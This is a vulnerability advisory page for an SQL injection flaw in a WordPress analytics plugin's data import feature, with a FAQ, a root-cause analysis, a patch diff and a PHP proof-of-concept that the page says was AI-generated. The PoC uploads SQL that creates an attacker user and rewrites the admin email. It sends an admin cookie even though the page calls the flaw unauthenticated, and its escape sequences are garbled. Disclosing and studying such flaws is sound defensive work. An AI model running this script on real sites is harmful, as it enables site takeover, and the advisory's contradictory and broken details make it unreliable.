What is CVE-2026-22850?

CVE-2026-22850 is a high-severity SQL injection vulnerability found in the Koko Analytics plugin for WordPress, affecting versions up to and including 2.1.2. It allows unauthenticated attackers to execute arbitrary SQL commands through the data import functionality, potentially compromising the entire WordPress database.

How does the SQL injection exploit work?

The vulnerability arises from insufficient input validation in the import function, which executes SQL statements from an uploaded file without proper sanitization. Attackers can craft a malicious SQL file and upload it, allowing them to manipulate or extract sensitive data from the database.

Who is affected by this vulnerability?

Any WordPress site using the Koko Analytics plugin version 2.1.2 or earlier is vulnerable to CVE-2026-22850. Administrators should check their plugin version and upgrade if necessary to mitigate the risk.

How can I check if I am using a vulnerable version?

You can check the version of the Koko Analytics plugin by navigating to the ‘Plugins’ section in your WordPress admin dashboard. Look for Koko Analytics and verify that the version is 2.1.3 or later to ensure you are not affected.

How can I fix this vulnerability?

To fix CVE-2026-22850, update the Koko Analytics plugin to version 2.1.3 or later. This version includes a patch that adds validation checks to prevent unauthorized SQL execution.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the Koko Analytics plugin until you can apply the patch. Additionally, review your site’s security settings and monitor for any suspicious activity.

What does the CVSS score of 7.5 indicate?

A CVSS score of 7.5 indicates a high-severity vulnerability, meaning it poses a significant risk to the security of affected systems. It suggests that successful exploitation could lead to serious consequences, including unauthorized access to sensitive data.

What practical risks does this vulnerability pose?

Exploitation of this vulnerability could allow attackers to extract sensitive information, such as user credentials and personal data, or modify critical database entries. This could lead to a complete compromise of the WordPress site.

How does the proof of concept demonstrate the vulnerability?

The proof of concept provides a script that simulates an attack by uploading a malicious SQL file through the vulnerable data import feature. It illustrates how an attacker could execute arbitrary SQL commands, highlighting the ease of exploitation.

Are there any additional security measures I should take?

In addition to updating the plugin, consider implementing security best practices such as regular backups, using a web application firewall, and monitoring for unusual database activity to further protect your WordPress site.

What is the role of input validation in preventing SQL injection?

Input validation is crucial in preventing SQL injection attacks as it ensures that only safe and expected data is processed by the application. Properly validating and sanitizing user inputs can significantly reduce the risk of injection vulnerabilities.

Where can I find more information about this vulnerability?

For more information about CVE-2026-22850, you can visit the official CVE database or the Koko Analytics plugin repository. Security advisories and community forums may also provide insights and updates regarding this vulnerability.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-22850: Koko Analytics <= 2.1.2 – Unauthenticated SQL Injection (koko-analytics)

CVE ID CVE-2026-22850

Plugin koko-analytics

Severity High (CVSS 7.5)

CWE 89

Vulnerable Version 2.1.2

Patched Version 2.1.3

Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22850:
This vulnerability is an unauthenticated SQL injection in the Koko Analytics WordPress plugin, affecting versions up to and including 2.1.2. The flaw resides in the data import functionality, allowing attackers to execute arbitrary SQL commands. The CVSS score of 7.5 indicates a high-severity issue.

The root cause is insufficient input validation in the `import` function within `/koko-analytics/src/Admin/Data_Import.php`. The function processes SQL statements from an uploaded file without proper sanitization. The vulnerable code at line 75 executes `$wpdb->query($statement)` directly on user-controlled SQL statements. The plugin fails to restrict these statements to safe tables, allowing arbitrary database operations.

Exploitation requires an attacker to craft a malicious SQL file and upload it via the plugin’s data import feature. The attack vector is the `/wp-admin/admin.php?page=koko-analytics-import-export` endpoint, which handles file uploads for data import. An attacker would submit a POST request with a file containing SQL injection payloads. The payloads can target any database table, not just the Koko Analytics tables, enabling data extraction or modification.

The patch adds a validation check before executing SQL statements. The updated code at lines 75-77 in `Data_Import.php` inserts a regular expression check: `if (! preg_match(“/{$wpdb->options}|{$wpdb->prefix}koko_analytics/”, $statement))`. This restricts executed statements to only the WordPress options table or Koko Analytics tables. The patch prevents execution of SQL targeting unauthorized tables, effectively neutralizing the injection vector.

Successful exploitation allows complete compromise of the WordPress database. Attackers can extract sensitive information including user credentials, personal data, and plugin settings. They can also modify or delete data, potentially leading to site takeover. The unauthenticated nature of the attack significantly lowers the barrier for exploitation, making any site running the vulnerable plugin an immediate target.

Differential between vulnerable and patched code

Code Diff

--- a/koko-analytics/koko-analytics.php
+++ b/koko-analytics/koko-analytics.php
@@ -3,7 +3,7 @@
 /*
 Plugin Name: Koko Analytics
 Plugin URI: https://www.kokoanalytics.com/#utm_source=wp-plugin&utm_medium=koko-analytics&utm_campaign=plugins-page
-Version: 2.1.2
+Version: 2.1.3
 Description: Privacy-friendly and efficient statistics for your WordPress site.
 Author: ibericode
 Author URI: https://www.ibericode.com/
@@ -38,7 +38,7 @@
 use KokoAnalyticsShortcodesShortcode_Site_Counter;
 use KokoAnalyticsWidgetsMost_Viewed_Posts_Widget;

-define('KOKO_ANALYTICS_VERSION', '2.1.2');
+define('KOKO_ANALYTICS_VERSION', '2.1.3');
 define('KOKO_ANALYTICS_PLUGIN_FILE', __FILE__);
 define('KOKO_ANALYTICS_PLUGIN_DIR', __DIR__);

@@ -93,7 +93,7 @@
 add_action('koko_analytics_test_custom_endpoint', [Endpoint_Installer::class, 'test'], 10, 0);

 // WP CLI command
-if (defined('WP_CLI') && WP_CLI) {
+if (class_exists('WP_CLI') && method_exists('WP_CLI', 'add_command')) {
     WP_CLI::add_command('koko-analytics', Command::class);
 }

--- a/koko-analytics/src/Admin/Data_Export.php
+++ b/koko-analytics/src/Admin/Data_Export.php
@@ -106,7 +106,7 @@
         fwrite($stream, "INSERT INTO {$this->db->prefix}koko_analytics_paths (id, path) VALUES ");
         $prefix = '';
         foreach ($rows as $s) {
-            fwrite($stream, "{$prefix}({$s->id},"{$s->path}")");
+            fprintf($stream, "{$prefix}({$s->id},"%s")", esc_sql($s->path));
             $prefix = ',';
         }
         fwrite($stream, ";n");
@@ -154,7 +154,7 @@
         fwrite($stream, "INSERT INTO {$this->db->prefix}koko_analytics_referrer_urls (id, url) VALUES ");
         $prefix = '';
         foreach ($rows as $s) {
-            fwrite($stream, "{$prefix}({$s->id},"{$s->url}")");
+            fprintf($stream, "{$prefix}({$s->id},"%s")", esc_sql($s->url));
             $prefix = ',';
         }
         fwrite($stream, ";n");
--- a/koko-analytics/src/Admin/Data_Import.php
+++ b/koko-analytics/src/Admin/Data_Import.php
@@ -75,8 +75,12 @@
                 continue;
             }

-            $result = $wpdb->query($statement);
+            // verify statement acts on the options table OR a koko analytics table
+            if (! preg_match("/{$wpdb->options}|{$wpdb->prefix}koko_analytics/", $statement)) {
+                continue;
+            }

+            $result = $wpdb->query($statement);
             if ($result === false) {
                 throw new Exception($wpdb->last_error);
             }
--- a/koko-analytics/src/Resources/functions/collect.php
+++ b/koko-analytics/src/Resources/functions/collect.php
@@ -34,7 +34,7 @@
     $path = substr(trim($raw['pa']), 0, 2000);
     $post_id = filter_var($raw['po'], FILTER_VALIDATE_INT);
     $referrer_url = !empty($raw['r']) ? filter_var(trim($raw['r']), FILTER_VALIDATE_URL) : '';
-    if ($post_id === false || $referrer_url === false) {
+    if ($post_id === false || $referrer_url === false || filter_var("https://localhost$path", FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED) === false) {
         return [];
     }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22850 - Koko Analytics <= 2.1.2 - Unauthenticated SQL Injection
<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin.php?page=koko-analytics-import-export';
$cookies = 'wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_xxxx=admin_cookie_value';

// Create a temporary SQL file with injection payload
$sql_content = "INSERT INTO wp_users (user_login, user_pass) VALUES ('attacker', MD5('password'));n";
$sql_content .= "UPDATE wp_options SET option_value = 'attacker@example.com' WHERE option_name = 'admin_email';n";

$tmp_file = tempnam(sys_get_temp_dir(), 'koko_');
file_put_contents($tmp_file, $sql_content);

// Prepare multipart form data
$boundary = '----WebKitFormBoundary' . md5(time());
$payload = "--{$boundary}rn";
$payload .= "Content-Disposition: form-data; name="action"rnrn";
$payload .= "koko_analytics_importrn";
$payload .= "--{$boundary}rn";
$payload .= "Content-Disposition: form-data; name="file"; filename="exploit.sql"rn";
$payload .= "Content-Type: application/sqlrnrn";
$payload .= $sql_content . "rn";
$payload .= "--{$boundary}--rn";

// Send exploit request
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_HTTPHEADER => [
        "Cookie: {$cookies}",
        "Content-Type: multipart/form-data; boundary={$boundary}",
        "X-Requested-With: XMLHttpRequest"
    ],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up
unlink($tmp_file);

// Check for success indicators
if ($http_code === 200 && (strpos($response, 'success') !== false || strpos($response, 'imported') !== false)) {
    echo "[+] SQL injection likely successful. Check database for changes.n";
} else {
    echo "[-] Exploit may have failed. HTTP Code: {$http_code}n";
}

?>

Frequently Asked Questions

What is CVE-2026-22850?
Overview of the vulnerability
CVE-2026-22850 is a high-severity SQL injection vulnerability found in the Koko Analytics plugin for WordPress, affecting versions up to and including 2.1.2. It allows unauthenticated attackers to execute arbitrary SQL commands through the data import functionality, potentially compromising the entire WordPress database.
How does the SQL injection exploit work?
Mechanism of the attack
The vulnerability arises from insufficient input validation in the import function, which executes SQL statements from an uploaded file without proper sanitization. Attackers can craft a malicious SQL file and upload it, allowing them to manipulate or extract sensitive data from the database.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Koko Analytics plugin version 2.1.2 or earlier is vulnerable to CVE-2026-22850. Administrators should check their plugin version and upgrade if necessary to mitigate the risk.
How can I check if I am using a vulnerable version?
Verifying your plugin version
You can check the version of the Koko Analytics plugin by navigating to the ‘Plugins’ section in your WordPress admin dashboard. Look for Koko Analytics and verify that the version is 2.1.3 or later to ensure you are not affected.
How can I fix this vulnerability?
Updating the plugin
To fix CVE-2026-22850, update the Koko Analytics plugin to version 2.1.3 or later. This version includes a patch that adds validation checks to prevent unauthorized SQL execution.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If immediate updates are not possible, consider disabling the Koko Analytics plugin until you can apply the patch. Additionally, review your site’s security settings and monitor for any suspicious activity.
What does the CVSS score of 7.5 indicate?
Understanding severity levels
A CVSS score of 7.5 indicates a high-severity vulnerability, meaning it poses a significant risk to the security of affected systems. It suggests that successful exploitation could lead to serious consequences, including unauthorized access to sensitive data.
What practical risks does this vulnerability pose?
Potential impacts of exploitation
Exploitation of this vulnerability could allow attackers to extract sensitive information, such as user credentials and personal data, or modify critical database entries. This could lead to a complete compromise of the WordPress site.
How does the proof of concept demonstrate the vulnerability?
Understanding the demonstration code
The proof of concept provides a script that simulates an attack by uploading a malicious SQL file through the vulnerable data import feature. It illustrates how an attacker could execute arbitrary SQL commands, highlighting the ease of exploitation.
Are there any additional security measures I should take?
Enhancing overall security
In addition to updating the plugin, consider implementing security best practices such as regular backups, using a web application firewall, and monitoring for unusual database activity to further protect your WordPress site.
What is the role of input validation in preventing SQL injection?
Importance of secure coding practices
Input validation is crucial in preventing SQL injection attacks as it ensures that only safe and expected data is processed by the application. Properly validating and sanitizing user inputs can significantly reduce the risk of injection vulnerabilities.
Where can I find more information about this vulnerability?
Resources for further reading
For more information about CVE-2026-22850, you can visit the official CVE database or the Koko Analytics plugin repository. Security advisories and community forums may also provide insights and updates regarding this vulnerability.

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